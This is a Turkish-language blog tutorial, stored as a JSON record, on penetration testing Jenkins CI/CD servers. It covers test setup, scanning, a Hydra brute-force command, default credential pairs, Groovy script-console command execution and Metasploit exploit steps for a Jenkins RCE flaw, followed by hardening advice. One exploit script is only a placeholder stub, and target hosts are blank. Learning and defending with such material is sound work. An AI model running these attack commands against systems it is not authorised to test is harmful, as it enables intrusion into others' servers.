{"id":247,"title":"Jenkins Pentesting (Penetrasyon Testi) Rehberi","content":"

Jenkins pentesting, Jenkins CI\/CD sunucular\u0131n\u0131n güvenlik aç\u0131klar\u0131n\u0131 tespit etmek ve de\u011ferlendirmek için yap\u0131lan güvenlik test sürecidir. Jenkins yayg\u0131n kullan\u0131lan bir otomasyon sunucusu oldu\u011fu için siber sald\u0131rganlar\u0131n hedefi haline gelebilir. Pentesting ile bu sistemlerdeki zafiyetler proaktif olarak belirlenerek güvenlik ihlalleri önlenebilir. Temel Jenkins Pentesting ad\u0131mlar\u0131: 1. **Ke\u015fif (Reconnaissance)** - Jenkins versiyonunun tespiti - Aç\u0131k portlar\u0131n taranmas\u0131 - Eri\u015filebilir Jenkins arayüzlerinin tespiti 2. **Kimlik Do\u011frulama Testleri** - Varsay\u0131lan kullan\u0131c\u0131 ad\u0131\/\u015fifre denemeleri - Brute force sald\u0131r\u0131lar\u0131 - OAuth yap\u0131land\u0131rma kontrolleri 3. **Yetkilendirme Testleri** - Kullan\u0131c\u0131 izinlerinin kontrolü - Role-based access control (RBAC) testleri - Script yetkilendirme kontrolleri 4. **Plugin Güvenlik Kontrolleri** - Eski\/güvensiz plugin tespiti - Plugin yap\u0131land\u0131rma kontrolleri - Plugin güvenlik aç\u0131klar\u0131n\u0131n ara\u015ft\u0131r\u0131lmas\u0131 5. **Jenkins Pipeline Güvenlik Testleri** - Groovy script güvenlik kontrolleri - Pipeline yap\u0131land\u0131rma denetimi - Kod enjeksiyon olas\u0131l\u0131klar\u0131n\u0131n tespiti 6. **API Güvenlik Testleri** - REST API güvenlik kontrolleri - API token yönetimi - API eri\u015fim kontrolü 7. **Altyap\u0131 Güvenli\u011fi** - Container güvenli\u011fi (Docker kullan\u0131l\u0131yorsa) - Network segmentasyon kontrolleri - Depolama güvenli\u011fi Önemli Güvenlik Riskleri: - Uzaktan kod çal\u0131\u015ft\u0131rma (RCE) - Yetkisiz eri\u015fim - Hassas bilgi s\u0131z\u0131nt\u0131s\u0131 - Pipeline manipülasyonu - Kötü amaçl\u0131 plugin yüklemeleri Güvenlik Önerileri: 1. Güncel Jenkins versiyonu kullanma 2. Güçlü kimlik do\u011frulama 3. Düzenli güvenlik güncellemeleri 4. Plugin güvenlik denetimleri 5. Access control listelerinin düzenli gözden geçirilmesi 6. Güvenli pipeline yap\u0131land\u0131rmas\u0131 7. Network segmentasyonu 8. Düzenli güvenlik testleri ve denetimleri Bu tür testlerin etik kurallara ve yasal düzenlemelere uygun \u015fekilde, gerekli izinler al\u0131narak yap\u0131lmas\u0131 önemlidir.<\/p>\r\n

Jenkins Kurulumu (Test Ortam\u0131 \u0130çin)<\/h2>\r\n

Temel Kurulum Ad\u0131mlar\u0131<\/h3>\r\n

Java Kurulumu<\/strong>:<\/p>\r\n

sudo apt update sudo apt install openjdk-11-jdk -y java -version<\/pre>\r\n
Jenkins Kurulumu<\/strong>:<\/p>\r\n
\r\n
\r\n
\r\n
\r\n
wget -q -O - https:\/\/pkg.jenkins.io\/debian\/jenkins.io.key | sudo apt-key add - sudo sh -c 'echo deb http:\/\/pkg.jenkins.io\/debian-stable binary\/ > \/etc\/apt\/sources.list.d\/jenkins.list' sudo apt update sudo apt install jenkins -y<\/pre>\r\nJenkins Ba\u015flatma<\/strong>:\r\n
sudo systemctl start jenkins sudo systemctl enable jenkins sudo systemctl status jenkins<\/pre>\r\nFirewall Ayarlar\u0131<\/strong>:\r\n
sudo ufw allow 8080 sudo ufw enable<\/pre>\r\n\u0130lk Yap\u0131land\u0131rma<\/strong>: taray\u0131c\u0131da http:\/\/:8080<\/code> aç\u0131n\r\n
sudo cat \/var\/lib\/jenkins\/secrets\/initialAdminPassword<\/pre>\r\n
Kurulum sihirbaz\u0131n\u0131 takip ederek temel ayarlar\u0131 yap\u0131n<\/p>\r\n<\/div>\r\n
Jenkins Pentesting Araçlar\u0131 ve Kullan\u0131m\u0131<\/h2>\r\n
Ke\u015fif A\u015famas\u0131<\/h3>\r\n
Nmap ile Port Tarama<\/strong>:<\/p>\r\n
\r\n
\r\n
\r\n
\r\n
nmap -sV -p 8080 <\/pre>\r\n
Jenkins Versiyon Tespiti<\/strong>:<\/p>\r\n
\r\n
\r\n
\r\n
\r\n
curl -s http:\/\/:8080\/ | grep \"Jenkins\"<\/pre>\r\n
Metasploit Modülleri<\/strong>:<\/p>\r\n
\r\n
\r\n
\r\n
\r\n
use auxiliary\/scanner\/http\/jenkins_enum set RHOSTS  set RPORT 8080 run<\/pre>\r\n
Kimlik Do\u011frulama Testleri<\/h3>\r\n
Brute Force Denemeleri<\/strong>:<\/p>\r\n
hydra -L users.txt -P passwords.txt  http-form-post \"\/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password\"<\/pre>\r\n
Varsay\u0131lan Kimlik Bilgileri Denemesi<\/strong>:<\/p>\r\n
    \r\n
  • \r\n
    admin:admin<\/p>\r\n<\/li>\r\n
  • \r\n
    jenkins:jenkins<\/p>\r\n<\/li>\r\n
  • \r\n
    admin:password<\/p>\r\n<\/li>\r\n<\/ul>\r\n
    Yetkilendirme Testleri<\/h3>\r\nYetki Kontrolleri<\/strong>:\r\n
    # API üzerinden yetki kontrolü curl -u kullanici:sifre http:\/\/:8080\/role-strategy\/strategy\/getRole?type=globalRoles<\/pre>\r\n
    Plugin Güvenlik Kontrolleri<\/h3>\r\n
    Eski Plugin Tespiti<\/strong>:<\/p>\r\n
    \r\n
    \r\n
    \r\n
    \r\n
    curl -s http:\/\/:8080\/pluginManager\/api\/json?depth=1 | jq '.plugins | {shortName, version}'<\/pre>\r\n
    Jenkins Script Console Testleri<\/h3>\r\nGroovy Script Çal\u0131\u015ft\u0131rma:<\/strong>\r\n
    # E\u011fer yetkiniz varsa println \"whoami\".execute().text <\/pre>\r\n
    Güvenlik Aç\u0131\u011f\u0131 Örnekleri ve Exploitler<\/h2>\r\n
    CVE-2018-1000861 (RCE)<\/strong>:<\/p>\r\n
    \r\n
    \r\n
    \r\n
    \r\n
    msfconsole use exploit\/linux\/http\/jenkins_script_console set RHOSTS  set RPORT 8080 set TARGETURI \/ set LHOST  exploit<\/pre>\r\n
    CVE-2019-1003000 (Pipeline RCE)<\/strong>:<\/p>\r\n
    \r\n
    \r\n
    \r\n
    \r\n
    # Örnek exploit scripti import requests target = \"http:\/\/:8080\" command = \"whoami\" # Exploit kodu buraya<\/pre>\r\n
    Güvenli Yap\u0131land\u0131rma Önerileri<\/h2>\r\n
    Eri\u015fim Kontrolü<\/strong>:<\/p>\r\n
    \r\n
    \r\n
    \r\n
    \r\n
    # Jenkins yap\u0131land\u0131rma dosyas\u0131 sudo nano \/var\/lib\/jenkins\/config.xml<\/pre>\r\n
      \r\n
    • \r\n
      useSecurity<\/code> etkinle\u015ftirin<\/p>\r\n<\/li>\r\n
    • \r\n
      authorizationStrategy<\/code> ayarlar\u0131n\u0131 kontrol edin<\/p>\r\n<\/li>\r\n<\/ul>\r\nPlugin Yönetimi<\/strong>:\r\n
      # Güvenli olmayan pluginleri kald\u0131rma sudo java -jar jenkins-cli.jar -s http:\/\/localhost:8080\/ -auth kullanici:sifre delete-plugin eskiPlugin<\/pre>\r\nAPI Güvenli\u011fi<\/strong>:\r\n
      # API token'lar\u0131n\u0131 yönetme sudo java -jar jenkins-cli.jar -s http:\/\/localhost:8080\/ -auth kullanici:sifre list-api-tokens<\/pre>\r\nLog Takibi<\/strong>:\r\n
      # Jenkins loglar\u0131n\u0131 izleme tail -f \/var\/log\/jenkins\/jenkins.log<\/pre>\r\n <\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>","excerpt":"Jenkins pentesting (penetrasyon testi), Jenkins CI\/CD sunucular\u0131n\u0131n g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 tespit etmek ve de\u011ferlendirmek i\u00e7in yap\u0131lan g\u00fcvenlik test s\u00fcrecidir. Jenkins, yayg\u0131n olarak kullan\u0131lan bir s\u00fcrekli entegrasyon ve s\u00fcrekli da\u011f\u0131t\u0131m (CI\/CD) arac\u0131 oldu\u011fu i\u00e7in g\u00fcvenlik a\u00e7\u0131s\u0131ndan \u00f6nemli bir hedef haline gelebilir.","created_at":"2024-12-29 11:39:30","updated_at":"2026-09-06 15:25:23","category_id":7,"view_count":650,"reading_time":4,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2024-12-29 11:39:30","featured_image":"resimyok.jpg","slug":"jenkis","category_name":"Cyber Security","category_slug":"cyber-security"}